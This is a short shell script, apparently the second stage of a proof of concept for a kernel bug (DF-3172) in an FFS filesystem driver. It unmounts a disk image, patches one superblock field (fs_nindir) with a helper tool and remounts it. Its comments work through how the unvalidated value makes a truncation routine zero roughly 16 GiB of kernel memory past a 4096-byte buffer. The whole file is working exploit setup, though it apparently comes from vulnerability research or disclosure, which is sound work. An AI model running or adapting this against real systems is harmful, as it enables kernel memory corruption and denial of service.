#!/bin/sh
# DF-3172 phase-2 setup — run IN the guest as root, AFTER the unprivileged
# user ran 'trigger3172 /mnt/poc/d/f extend' under the legit mount.
# Unmount, patch exactly ONE int32 in the superblock (fs_nindir 1024 -> 512,
# sb+116), remount. ffs_mountfs (ffs_vfsops.c:642-646) validates only
# fs_magic + sizeof(struct fs) <= fs_bsize <= MAXBSIZE — fs_nindir is
# adopted raw (ump->um_nindir = fs->fs_nindir, :729).
# The on-disk inode still says di_size = 560 GB; under the patched geometry
# Sigma' = 12+512+512^2+512^3 = 134,480,396 blocks, so the shrink to
# X = Sigma'*4096+4096 = 550,831,706,112 drives lastiblock[TRIPLE] to
# exactly NINDIR^3 -> last = NINDIR in ffs_indirtrunc -> the bzero at
# ffs_inode.c:535-536 computes (uint)(512-513)*sizeof(ufs_daddr_t) =
# 0x3FFFFFFFC (~16 GiB): an unbounded kernel zero-march off the end of the
# 4096-byte indirect-block buffer.
set -e
cd /root/df3172
umount /mnt/poc
vnconfig -u vn0
./craft64 ffs4096.img 116 512 4
vnconfig -c vn0 ffs4096.img
mount -t ufs /dev/vn0 /mnt/poc
echo PHASE2_OK